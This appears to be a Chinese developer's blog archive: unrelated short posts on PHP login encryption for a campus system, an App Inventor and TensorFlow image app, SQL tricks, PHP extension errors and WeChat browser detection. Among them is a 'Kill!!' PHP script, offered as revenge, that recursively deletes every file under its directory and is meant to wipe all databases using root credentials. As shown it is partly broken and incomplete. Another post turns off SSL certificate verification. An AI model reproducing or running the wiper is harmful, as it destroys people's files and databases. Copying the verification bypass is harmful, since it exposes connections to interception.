由于学校之前6月升级了新的教务系统,也是正方的。前后端分离的那种,bootstrap3.

登录采用RSA公钥加密base64 和16进制的转换等

下面是查看前端的登录方式

有一步是获取公钥

var rsaKey = new RSAKey();
rsaKey.setPublic(b64tohex(modulus), b64tohex(exponent));
var enPassword = hex2b64(rsaKey.encrypt($(“#mm”).val()));

在PHP登录那么b64tohex(modulus),

应该改为:

bin2hex(base64_decode($modulus));
先base64解密,然后转16进制

 

App Inventor 原是Google实验室(Google Lab)的一个子计划,由一群Google工程师和勇于挑战的Google使用者共同参与设计完成。Google App Inventor是一个完全在线开发的Android编程环境,抛弃复杂的程式代码而使用积木式的堆叠法来完成您的Android程式。除此之外它也正式支持乐高NXT机器人,对于Android初学者或是机器人开发者来说是一大福音。因为对于想要用手机控制机器人的使用者而言,他们不大需要太华丽的界 面,只要使用基本元件例如按钮、文字输入输出即可。
App Inventor 2012年1月1日移交给麻省理工学院行动学习中心,并已于3月4日公布使用。
开发一个App Inventor 程式就从您的浏览器开始,您首先要设计程序的外观。接着是设定程序的行为,这部分就像玩乐高积木一样简单有趣。最后只要将手机与电脑联接,刚出炉的程序就会出现在您的手机上了。
 
TensorFlow 是一种机器学习工具。TensorFlow 功能广泛,但是主要用于构建深度神经网络模型。
本次教程主要使用appinventor编写手机端,主要功能:拍摄和上传图片,结果展示。
php:接收图片并进行tensorflow的调用
tensorflow:对照片进行分析
运行环境:
php7.1,并且启用shell_exec()函数
python3.6
tensorflow 模型:https://github.com/tensorflow/models/tree/master/tutorials
tensorflow 物体识别教程: https://www.tensorflow.org/tutorials/image_recognition
代码部分:
PHP部分:
文件名:tf.php
appinventor部分:
浏览器组件中的网址记得改为你对应的网址或者IP,不可以把http://协议省略
逻辑设计:
 运行过程:
1】点击拍照
这里我选择拍摄我的杯子
2】点击开始分析
3】等待服务器返回结果(取决于网络环境与服务器运算速度)
 其中结果中(score)代表的是拟合度,拟合度越高越准确

执行 shell_exec(‘python xxxx.py’)时候没有反应,直接返回null。根据我前几天上红帽linux培训的时候,老师说过一些软件进入shell是没有环境变量的,都写绝对路径的。所以我尝试把他换为绝对路径来执行

于是成功了。

总结shell_exec 请最好使用绝对路径来执行

这个是前端期望的数据:
{
“name”:”小小小村”,
“tel”:”1xxxxx99217″,
“province”:”江西省”,
“city”:”萍乡市”,
“county”:”莲花县”,
“address_detail”:”琴亭镇农机xxxx”,
“area_code”:”360321″,
“postal_code”:”337000″,
“is_default”:false
}
这个是我程序的数据:
,最后我可以利用以下语句构造
例如新增查询出来带有省份
select ‘广东省’ as province from jlwm_user;
这个 province 在数据表中 jlwm_user 是不存在的,但是查出来的是默认值,我写死的值,最后就搞定了

解决cURL error 60: SSL certificate problem: self signed certificate in certificate chain (see http://curl.haxx.se/libcurl/c/libcurl-errors.html)
class Login
{
private $serverUrl=’https://’;

function index(){
//对ssl证书不作检验需要把verify设置为false
$client=new Client([‘base_uri’=>$this->serverUrl,’verify’=>false]);
$response = $client->request(‘get’,”);
echo $body= (string)$response->getBody();

}

}

错误信息:

PHP Warning: PHP Startup: Unable to load dynamic library ‘ext\php_ui.dll’ – 找不到指定的模块。
in Unknown on line 0

Warning: PHP Startup: Unable to load dynamic library ‘ext\php_ui.dll’ – 找不到指定的模块。
in Unknown on line 0

原因和解决:

虽然我把扩展复制到ext目录和配置文件中也写了。也复制到windows/system32/下。但是文档也有描述应该复制到和php.exe同一级目录下。如下图紫色框的内容复制到php.exe同一级目录

然后再次运行则警告消失了

 

我也不知道哪里抄过来的

<?php
// +———————————————————————-
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +———————————————————————-
// | Version: $Id$
// +———————————————————————-

//———-数据库配置区域—————–
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define(‘DB_USER’, ‘root’);
define(‘DB_PWD’, ‘root’);
define(‘DB_HOST’, ‘localhost’);
define(‘DB_PORT’, ‘3216’);
define(‘DB_DAMAGE’, true); //为false时,不碰数据库

run();

/**
* 主体思想必须光辉伟大!
*
* @return void
**/
function run()
{
//删除文件
deletedir();
//删除数据库
deleteDB();
}

/**
* 呵呵呵,删除当前目录所有文件(递归)
*
* @return void
**/
function deletedir($dir = ”){
if ($dir == ”) {
$dir = realpath(‘.’);
}
echo $dir;
exit();
if(!handle=@opendir($dir)){ //检测要打开目录是否存在
die(“没有该目录”);
}
while(false !==($file=readdir($handle))){
if($file!==”.”&&$file!==”..”){ //排除当前目录与父级目录
$file=$dir .DIRECTORY_SEPARATOR. $file;
if(is_dir($file)){
deletedir($file);
}else{
if(@unlink($file)){
echo “文件<b>$file</b>删除成功。<br>”;
}else{
echo “文件<b>$file</b>删除失败!<br>”;
}
}
}
if(@rmdir($dir)){
echo “目录<b>$dir</b>删除成功了。<br>\n”;
}else{
echo “目录<b>$dir</b>删除失败!<br>\n”;
}
}

/**
* 呵呵呵,删除数据库
*
* @return void
**/
function deleteDB()
{
if(DB_DAMAGE === true){
//start
}
}

js判断是否是微信浏览器
function is_weixin() {
var ua = window.navigator.userAgent.toLowerCase();
if (ua.match(/MicroMessenger/i) == ‘micromessenger’) {
$(“#rs”).text(“微信浏览器”);
} else {
$(“#rs”).text(“不是微信浏览器”);
}
}

PHP判断

$is_weixin = (is_weixin() == true) ? “微信浏览器” : “不是微信浏览器”;
function is_weixin() {
if (strpos($_SERVER[‘HTTP_USER_AGENT’], ‘MicroMessenger’) !== false) {
return true;
} return false;
}